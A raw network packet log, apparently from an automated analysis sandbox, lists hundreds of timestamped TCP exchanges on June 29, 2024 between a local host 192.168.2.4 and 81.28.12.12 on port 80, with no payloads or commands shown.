Jun 29, 2024 08:05:18.041860104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.041893005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.041925907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.041946888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.041970968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.042006969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.042026043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.045376062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.050239086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.050342083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.050393105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.050426006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.050460100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.050493002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.050507069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.050534964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.050575018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.050611019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.050643921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.050662994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.050687075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.050729990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.050762892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.050795078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.050827980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.050847054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.050869942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.050915003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.050947905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.050981045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051017046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051037073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.051067114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051099062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051119089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.051150084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051183939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051203012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.051234007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051266909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051285982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.051337004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051368952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051389933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.051420927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.051441908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051493883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051527023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051552057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.051575899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.051605940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051656008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051690102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051723003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051748037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.051772118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.051798105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051831007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051882029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051913977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.051933050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.051954031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.051983118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052016020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052066088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052100897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052122116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.052145004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.052174091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052206993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052241087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052273035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052295923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.052324057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.052347898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052398920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052433968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052465916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052524090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.052524090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.052571058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052602053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052651882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052680016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052707911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.052728891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.052752972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052803993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052835941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052870035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052890062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.052921057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052952051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.052972078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.053000927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.053034067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.053054094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.053083897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.053116083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.053138018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.053169012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.053201914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.053220987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.053251028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.053284883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.053303957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.053334951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.053369999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.053390026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.053421021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.053453922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.053473949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.053503990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.053538084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.053556919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.053601980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.053658962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.053786993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.053837061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.053858042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.053889036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.053936005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.053961039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.053992033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.054024935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.054044008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.054075003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.054105997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.054126024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.054749966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.056720018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.056790113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.056801081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.056827068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.056859970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.056880951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.056896925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.056910038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.056930065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.056967974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.057027102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.128465891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.128542900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.128555059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.128714085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.128746986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.128778934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.128782988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.128834963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.128834963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.128868103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.128901958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.128926039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.128936052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.128987074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.129004955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.129055023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.129089117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.129106045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.129122019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.129154921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.129177094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.129189014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.129240036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.129242897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.129273891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.129331112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.129343033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.129379034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.129435062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.129448891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.129486084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.129520893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.129544973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.129554987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.129589081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.129611015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.129621029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.129653931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.129677057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.129688025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.129722118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.129744053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.129822969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.139729977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.139802933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.139817953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.139870882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.139878988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.139904976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.139936924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.139970064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.139970064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.140022039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140022993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.140062094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140095949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140130043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140151978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.140165091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140193939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.140218973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140253067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140285015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140317917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140325069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.140346050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.140363932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.140369892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140404940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140438080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140470982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140537024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.140562057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140603065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140621901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.140630960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140665054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.140665054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140700102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140716076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.140733004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140765905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140769005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.140789986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.140799999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140811920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.140835047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140867949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140881062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.140901089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140934944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.140940905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.140940905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.140983105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.140986919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141021013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141033888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.141053915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141082048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.141104937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141139030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141170979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141172886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.141200066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.141202927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141235113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.141237020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141288042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141288996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.141321898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141357899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141372919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.141390085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141439915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.141441107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141474962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141490936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.141510010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141524076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.141541958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141575098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141608000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141630888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.141640902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141674042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141695976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.141707897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141741037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141774893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141781092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.141781092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.141824961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141858101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141877890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.141907930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.141908884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141942978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141976118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.141995907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.142009974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.142060041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.142062902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.142093897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.142127037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.142127991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.142148972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.142168999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.142169952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.142203093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.142235994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.142251015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.142266035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.142297983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.142314911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.142332077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.142365932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.142393112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.142396927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.142431974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.142473936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.142492056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.143405914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.143460989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.143469095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.143495083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.143521070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.143546104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.143579006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.143594027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.143614054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.143662930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.143708944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.143764019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.146157980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.146374941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.146404982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.146439075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.146472931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.146482944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.146505117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.146517992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.146539927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.146572113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.146591902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.148389101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.218255997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.218369961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.218419075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.218470097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.218480110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.218503952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.218528986 CEST	49731	80	192.168.2.4	81.28.12.12
